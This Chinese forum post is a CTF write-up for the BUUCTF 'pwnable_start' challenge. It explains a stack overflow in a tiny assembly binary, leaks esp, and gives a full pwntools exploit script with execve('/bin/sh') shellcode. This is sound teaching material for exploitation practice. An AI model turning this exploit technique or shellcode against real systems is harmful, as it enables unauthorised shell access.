-
-
[原创][BUUCTF]pwnable_start1
-
发表于: 2022-1-28 22:51 7800
-
题目复现
非常有意思的一道题,文件大小诡异,应该直接汇编写的
输出后无回显
只有两个函数,要想getshell,只有写入代码执行的可能
主体部分_start函数很短,c语言不如汇编直观
- esp,返回地址_exit入栈后,把寄存器清零
- 20字节的Let's start the CTF:分五次入栈
ecx寄存器保存esp地址
通过int 80中断的方式执行了write(fd,len,addr)函数 - 同样int 80中断执行read(fd,len,addr)
addr仍为之前的esp
但是len(即dl) 变成0x3c,存在栈溢出
esp+0x14,esp回到_exit地址处
解题思路
本题可利用的rop很少
首先本题很难通过中断的方式实现read函数任意写,write函数基本只能在栈中0x3c的范围内操作,shellcode就在栈内
因此想执行代码就得先拿到esp,我们直接返回到8048087:mov ecx,esp那一句,执行write函数打印出esp
大致思路可以确定:
- 第一次payload覆盖返回地址为0x8048087,得到esp地址
- 第二次payload中写入shellcode,返回地址填入调试得到的shellcode地址
调试过程
根据上面的分析,我列出了几个关键点中栈的分布
下面我们就需要确定第二次payload的shellcode_addr
注意一点:shellcode写在shellcode_addr前后理论上都可以,但addr后(0x3c-0x14-4=36)较大,因此写在shell_addr后(pwntools自带的shellcode超过36,网上搜到的shellcode好像是21,好像只能写在addr后了)
当前的esp可以看出比栈内保存的esp小4,shellcode_addr比esp大0x14+4,得到shellcode_addr
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | from pwn import * context.log_level = 'debug' context.arch = 'i386' io = process( './start' ) #io = remote('node4.buuoj.cn', 26920) io.recv() mov_ecx_esp = 0x8048087 payload1 = b 'a' * 0x14 + p32(mov_ecx_esp) io.send(payload1) leak_addr = u32(io.recv( 4 )) cur_esp = leak_addr - 4 payload2 = b 'a' * 0x14 + p32(cur_esp + 0x14 + 4 ) shellcode = b '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' print ( len (shellcode)) payload2 + = shellcode io.send(payload2) #gdb.attach(io) io.interactive() |
总结
- 这道题锻炼了在精简代码中利用rop的能力
- 对于栈溢出的利用,要先有一个基本栈结构的分析,再通过调试验证自己的分析
最后于 2022-1-28 22:53
被N1co5in3编辑
,原因:
赞赏
他的文章
- [原创][GoogleCTF]MADCORE 13609
- [starctf]examination writeup 7411
- [分享]2月刷pwn题的知识点总结 9205
- [原创][基础知识]ctfpwn题修改libc库为要求的题目 19530
- [原创][攻防世界]stack2 8927
看原图
赞赏
雪币:
留言: